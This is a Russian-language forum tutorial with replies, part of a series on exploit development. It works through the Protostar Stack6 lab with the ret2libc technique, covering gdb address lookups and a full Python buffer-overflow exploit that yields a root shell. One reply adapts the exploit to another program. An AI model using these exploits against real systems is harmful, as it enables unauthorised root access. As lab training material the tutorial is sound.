PDA

Просмотр полной версии : Переполнение буфера и техника эксплуатации Ret2Libc - Изучение методов эксплуатации на примерах, часть 7


fuzzz
26.04.2019, 10:49
Все части переполнение буфера
Предыдущая часть Переполнение буфера и размещение шеллкода в памяти - разработка эксплойтов, часть 6 (https://forum.antichat.xyz/threads/567245/)

Привет античат =) Прошло много времени с тех пор, как я последний раз писал статью, и я думаю, что пришло время для новой. В предыдущей статье (https://forum.antichat.xyz/threads/567245/) мы познакомились с шеллкодом, и написали с вами первый эксплойт и даже не один, а два, размещали шеллкод в буфере и размещали шеллкод за адресом возврата(RET) при этом используя прием NOP-Sled. А так же узнавали реальные адреса в памяти, анализируя дамп памяти, так, как, под отладчиком адреса не много смещаются.В этой статье мы познакомимся с новым подходом выполнения кода.

Описание ExploitMe

Stack6 смотрит на то, что происходит, когда у вас есть ограничения на обратный адрес.

Этот уровень может быть выполнен несколькими способами, такими как поиск дубликата полезной нагрузки (objdump -s поможет с этим), или ret2libc, или даже обратно ориентированным программированием, ориентированное на возврат (ROP).

Настоятельно рекомендуется поэкспериментировать с несколькими способами заставить ваш код выполняться здесь.

Stack6, VM
Исходный код

C:



#include
#include
#include
#include
void
getpath
(
)
{
char
buffer
[
64
]
;
unsigned
int
ret
;
printf
(
"input path please: "
)
;
fflush
(
stdout
)
;
gets
(
buffer
)
;
ret
=
__builtin_return_address
(
0
)
;
if
(
(
ret
&
0xbf000000
)
==
0xbf000000
)
{
printf
(
"bzzzt (%p)\n"
,
ret
)
;
_exit
(
1
)
;
}
printf
(
"got path %s\n"
,
buffer
)
;
}
int
main
(
int
argc
,
char
*
*
argv
)
{
getpath
(
)
;
}


Решение
Приступим - рассмотрим исходный код программы. Главная функция main() вызывает подпрограмму, функцию getpath(), эта функция имеет буфер на 64 байта и уязвимую функцию gets(), которая и будет использовать этот буфер, так же у нас есть без знаковая целочисленная переменная обозначенная как ret, в неё будет записан адрес возврата текущей функции, переданный из функции __builtin_return_address(0).

Условие в коде (ret & 0xbf000000) == 0xbf000000) говорит нам, что если адрес возврата указывает на стек, программа завершается с кодом (EXIT_FAILURE) т.е. с кодом 1.

Запустим отладчик чтобы убедится в этом, а именно посмотрим на регистр ESP и EBP.

Код:



gdb -q ./stack6
break main
run
info registers


https://forum.antichat.xyz/attachments/4842451/img_ef487409b2.png

Как нам видно "0xbf .. .. .." это стековые адреса

Код:



esp 0xbffffd20 0xbffffd20
ebp 0xbffffd28 0xbffffd28


Теперь проверим это условие используемся питоном, выходим из отладчика -

quit

.

Запускаем

python


и вводим следующий код

Python:



hex
(
0xffffffff
&
0xbf000000
)
hex
(
0xff123456
&
0xbf000000
)
hex
(
0xff12abcd
&
0xbf000000
)
hex
(
0xbf12abcd
&
0xbf000000
)
hex
(
0xbfffffff
&
0xbf000000
)


https://forum.antichat.xyz/attachments/4842451/1.png

Закрываем интерпретатор питона

Ctrl+D

. Видно, что использование адресов с 0xff - 0xbf приведет выходу из программы со статусом (EXIT_FAILURE).Вот почему нам сказали использовать Ret2Libc или ROP в условии задания.

С этого момента в решение этой и последующих задач, мы будет не только приобретать новые знания и опыт, но и осваивать техники эксплуатации. Что же это такое??? Это методы как заюзать уязвимость. Как использовать, эксплуатировать уязвимость. По аналогии приведу пример, чтобы было более менее понятно. Существует допустим уязвимость внедрения SQL-кода на каком-нибудь сайте. Так вот, бывает, что эту уязвимость эксплуатировать легко, а бывает, что не всегда с первого раза SQL-Injection можно раскрутить. И тут нам на помощь приходят всякие кодировки, которые помогают достичь цели. Или же если SQL-Injection не совсем обычная, а Blind типа. И тогда мы уже используем другие методы отходя от привычных или же комбинируем их.

Эти методы и есть техники эксплуатации уязвимостей. Возможно пример не самый удачный, но всё же он отражает хоть какую-то суть...

Ret2Libc

Следующая ступень в эксплуатации бинарных уязвимостей это техника ret2libc.

Ret2Libc- это техника эксплуатации когда адрес возврата (RET) функции в стеке подменяется адресом иной функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Эта техника позволяет нападающему выполнить какую-либо существующую функцию без необходимости внедрения шеллкода в программу. Простыми словами Ret2Libc - это возврат в libc или возврат в библиотеку языка Cи.

libc— это стандартная библиотека языка Cи. Она содержит все общие системные функции, включённые в язык программирования C.

В одной статье мне понравилось сравнение ret2libc с аналогией из фильма Матрица. Точней говоря одним из моментов этого фильма.

Вот этот момент

Сцена фильма "Оружие, много оружия", идеально демонстрирует суть Ret2Libc. Оператор смог полностью обойти и перепрограммировать матрицу, чтобы МОРЕ оружия просто появилось из ниоткуда. Всё это оружие это функции в libc.

Это и есть ret2libc. Когда мы сделаем переход в эту библиотеку (LibC) у нас появится возможность вызывать все функции которая содержит эта библиотека.

Техника ret2libc основана на переполнении буфера. Поэтому нам надо будет перезаписывать данные в стеке, и перезаписать указатель возврата, чтобы указать на конкретную функцию в libc, и передать ей любые аргументы, необходимые для доставки нашей боевой нагрузки.

Одной из самых распространённых функций при атаках используя технику Ret2libc является функция system(). Давайте посмотрим на документацию

Код:



man system


https://forum.antichat.xyz/attachments/4842451/2.png


Ctrl+Z

- выходим.

Как мы видим, функция system() просто выполняет shell-команды. Более того, если мы прочитаем описание, то увидим, что система просто выполняет '/bin/sh -c ', и команда передаётся в функцию через аргумент.

Итак, всё, что нам нужно сделать, чтобы получить доступ из командной строки к компьютеру, на котором запущено уязвимое приложение — это вставить'/bin/sh' в стек в качестве аргумента, а затем заменить указатель возврата или вызов адресом памяти функции system(), так чтобы эта функция вызывалась с '/bin/sh' в качестве аргумента, запускала оболочку и предоставляла нам полный доступ через систему.

Но для того, чтобы овладеть техникой ret2libc, нужно овладеть техникой "перезаписью сохраненного значения в регистре EIP".

Которая применяется при написании классических эксплойтов. Т.е. для простых эксплойтов, где не нужно обходить всякие защиты подобные SEH\DEP, ну или частично... А мы её уже изучили, поэтому нам не составит труда освоить и эту технику эксплуатации.

Мы помним что для реализации этой техники эксплуатации "Overwriting saved EIP" надо...

Переполнить буфер

Получить ошибку Segmentation fault 0x41424344

Вычислить смещение offset

положить адрес в регистр EIP
Вся область которая перезаписывает регистр EIP
смещение + 4 байта (EIP) адрес шеллкода

Как то так...

Так же мы знаем еще одну технику NOP-sled. Где мы использовали кучу нопов для выполнения нашего шеллкода который был размещен за адресом возврата (RET).

И мы комбинировали их "Overwriting saved EIP" + "NOP-sled".

А для реализации техники Ret2Libc нам надо.
"Overwriting saved EIP" + "ret2libc"

Получить всю область которая перезаписывает регистр EIP (Overwriting saved EIP)

Получить адрес функции system()

Получить адрес функции exit()

Получить адрес оболочки '/bin/bash'
Далее сконвертировать полученные адреса и данные в эксплойт.

eipOffset + systemAddr + exitAddr + shellAddr

и выполнить его.

И так создадим файл eipOffset.txt

Код:



nano ~/eipOffset.txt


положим туда строку

Код:



AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMM MMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY ZZZZ



F2,y,enter

. (Ну или воспользуемся сайтом, хоть так, хоть так, разницы нет, буфер у нас на 64 байта. Если бы он был большего размера, тогда уж лучше воспользоваться сайтом или утилитами из метасплойта)

Запускаем отладчик

Код:



gdb -q ./stack6


Делаем перенаправление из файла в программу

Код:



run } 0xb7ecffb0
$2 = {} 0xb7ec60c0


Вторая часть кода эксплойта с первой

Python:



from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
Адрес
'/bin/bash'
(
4
байта
)


Двигаемся дальше...

Теперь нам надо выполнить пункт 4.

4. Получить адрес оболочки '/bin/bash'

Для того чтобы узнать адрес воспользуемся командой "info proc map" для того, чтобыотобразим адресное пространство и тем, самым посмотрим где libc загружен в память.

Код:



gdb -q ./stack6
break main
run
info proc map


https://forum.antichat.xyz/attachments/4842451/img_89a9302a5a.png

Отлично адрес мы вычислили, libc загружен по адресу 0xb7e97000. Теперь попробуем найти в памяти строку "/bin/sh". Для того чтобы это сделать воспользуемся командой find, которая помогает осуществлять поиск в памяти.

Синтаксис команды такой
find адрес, +размер, значение
find начальный_адрес, конечный адрес, значение

Код:



find 0xb7e97000, +9999999, "/bin/sh"
x/s 0xb7fba23f


https://forum.antichat.xyz/attachments/4842451/img_d5fafa6835.png

Отладчик выдал нам паттерн (шаблон) по адресу 0xb7fba23f, но когда мы попытались заглянуть в память по этому адресу и результат вывода отобразить память как строчку, то мы не нашли там "/bin/sh". Можно продолжить дальше искать в памяти, что очень затруднительно... Поэтому поступим следующим образом, будем использовать команду strings в Linux. Выходим из отладчика.

Код:



quit


Запустим команду с такими параметрами -a -t x, а так же укажем полный путь до библиотеки + подключим утилиту grep для поиска нужной нам строки.

ключ -a указывает на то, что нужно просмотреть весь файл.
ключи -t x указывают на то, что надо отобразить смещение в шестнадцатеричном формате.

Код:



strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh


https://forum.antichat.xyz/attachments/4842451/img_c784d2ce72.png

Результат не заставляет себя ждать, мы нашли строку "/bin/sh" в Libc по смещению 0x11f3bf
А сама библиотека Libc загружены по адресу 0xb7e97000

Сложим эти два адреса, что мы имеем. Воспользуемся питоном

Запускаем

python


Python:



shellAddr
=
0xb7e97000
+
0x11f3bf
hex
(
shellAddr
)



Ctrl+D

выходим из интерпретатора питона.

https://forum.antichat.xyz/attachments/4842451/img_b9700b179c.png

Наша строка "/bin/sh" находится в памяти по адресу 0xb7fb63bf. Для большей убедительности проверим в отладчике.

Загружаем программу в отладчик, ставим точку останова, и запускаем программу по отладчиком и смотрим наш адрес.

Код:



gdb -q ./stack6
break main
run
x/s 0xb7fb63bf
quit


https://forum.antichat.xyz/attachments/4842451/img_119b36b627.png

Отлично мы получили действительный адрес "/bin/sh".

Теперь напишем с вами полный эксплойт, так, как не достающий адрес мы вычислили.

Открываем редактор и пишем туда

Код:



nano ~/exploit.py


следующий питон код

Python:



from
struct
import
pack
eipOffset
=
"A"
*
80
systemAddr
=
pack
(
"I"
,
0xb7ecffb0
)
exitAddr
=
pack
(
"I"
,
0xb7ec60c0
)
shellAddr
=
pack
(
"I"
,
0xb7fb63bf
)
print
eipOffset
+
systemAddr
+
exitAddr
+
shellAddr


Выходим из редактора и сохраняем наш файл с данными.

Код:



f2,y,enter.


Настало время для теста

https://forum.antichat.xyz/attachments/4842451/img_2cd7307439.png

Код:



id
whoami
(python ~/exploit.py ; cat) | ./stack6
id
whoami
Ctrl+C


Как видите мы успешно получили оболочку с правами root пользователя. На этом всё, теперь можно переходить на следующий уровень stack7. Кстати говоря техника Ret2Libc и ROP помогает обойти такую защиту, как Data Execution Prevention (DEP), т.е. когда включен NX (XD) бит, эта защита которая запрещает выполнять код в стеке. В Intel = NX bit. В AMD = XD bit. Если говорить чуть более подробно, то DEP работает следующим образом. Память которая не должна исполняться (например, стек), помечается специальным битом NX (XD). Если ты попробуешь запустить код из памяти с установленным битом NX, то вызывается исключение. Это не позволяет использовать эксплоиты, которые просто передают управление на шелл-код. Для обхода DEP/NX (XD) и существуют такие техники, как Return-Oriented Programming и Ret2LibC. Мы даже с вами еще не затронули защиту, а уже познакомились с Ret2LibC. В следующей статье мы коснемся такой темы, как ROP.

Lk1
08.05.2019, 17:45
Отличный цикл статей)
из статьи не совсем понятно:
1) через пепеполнение буфера перезаписываем адрес возврата в стеке на адрес функции system (), но каким образом на вход функции попадает адрес строки /bin/sh, который мы просто положили в стек? По идеи после перезаписи eip будет выполнен system () без аргумента. Аргумент то остался в стеке по адресу &ret+4байта (exitAddr)
2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)

Lk1
09.05.2019, 01:49
спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?

Ondrik8
11.05.2019, 17:25
очень хороший цикл статей) если это все освоить, можно не плохо заработать! легально и нет)))



Lk1 сказал(а):

спасибо, но 1ый пункт все равно понять не могу - в стек ложится адрес exit потом сразу адрес шелла. Из твоего обьяснения выходит аргументом для system() будет сразу и то и то, что вообще не должно выполниться.
Проверил - код рабочий. Видимо я что то концептуального не понимаю.
Может кто нибудь на пальцах обьяснить почему в качестве аргумента для функции system берется строка, адрес который лежит в стеке после ret, а потом вызывается еще раз эта же функция, но берется следующий аргумент?


возможно это тебе поможет )) или это (на живом примере)

fuzzz
15.05.2019, 14:08
Lk1 сказал(а):

2) зачем мы включаем в эксплоит адрес функции exit?
Буду благодарен за разъяснения)



Если в место адреса положить к примеру


exitAddr = pack("I", 0xb7ec60c0)


4 байта мусора.


exitAddr = "AAAA"


Код тоже будет работать и мы тоже получим оболочку.
Но когда мы закроем оболочку

Ctrl+D

полученную через эксплойт, код поведет себя не стабильно и мы получим ошибку сегментации, программа попытается обратится к этому участку памяти.

Поэтому для стабильности работы эксплойта добавляется адрес exit() функции.

https://forum.antichat.xyz/attachments/4843889/img_3f66ec2e49.png

Про аргументы отпишу чуть позже...

term1nal
22.11.2019, 16:52
Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)

fuzzz
28.11.2019, 20:11
term1nal сказал(а):

Добрый день. А с чем связано такое поведение GDB, что он показыает KIND in __gen_tempname? При том если ужать адреса поиска, то все нормально:

(gdb) find 0xb7fb6300, +9999999, "/bin/sh"
0xb7fb63bf
warning: Unable to access target memory at 0xb7fd9647, halting search.
1 pattern found.
(gdb) x/s 0xb7fb63bf
0xb7fb63bf: "/bin/sh"
(gdb)


Когда программа загружает под отладчиком адреса смещаются. Поэтому один и тот же адрес может показывать разные вещи. Скорее всего так.. А может быть я ошибаюсь. Но тут смещение точно играет роль.

Rizor
12.12.2019, 19:41
@fuzzz (https://forum.antichat.xyz/members/612148/) здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

Код:



root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include

void functionFunction(char *param, int p2, float p3)
{
char local[64];

strcpy(local, param);
}

int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell


P.S. заранее спасибо!

fuzzz
12.12.2019, 21:45
Rizor сказал(а):

@fuzzz (https://forum.antichat.xyz/members/612148/) здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные

root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-

#include

void functionFunction(char *param, int p2, float p3)
{
char local[64];

strcpy(local, param);
}

int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!


Ты бы хоть код в теги кидал, а то не очень выглядит. У тебя тут косяк в запуске эксплойта, в том что уязвимая программа работает через argv[1], тебе надо эксп не так запускать. А передавать его через аргумент.

Т.е.

Код:



./программа


Примерно так... Попробуй, должно работать...

Код:



./vuln `python -c "from struct import pack; eip='A'*80; system=pack('I', 0xb7e44b40); exit=pack('I', 0xb7e387f0); shell=pack('I', 0xb7f678c8); print eip + system + exit +shell"; cat`

Станислав Кац
16.05.2023, 09:05
При выполнении system() создаётся новый стековый фрейм. Когда он создаётся, вместо, то там, где раньше был адрес eip появляется ebp. Далее эта функция должна взять где-то аргумент - ebp+8. Так получается, что этот адрес падает туда, куда и была положена строка "/bin/sh".
В свою очередь exit() оказывается на месте ret.
В итоге функция выполняется успешно и завершается без ошибок.
Я так понял. Если где-то не прав, то прошу исправить)
Ссылка с объяснением: https://shellblade.net/files/docs/ret2libc.pdf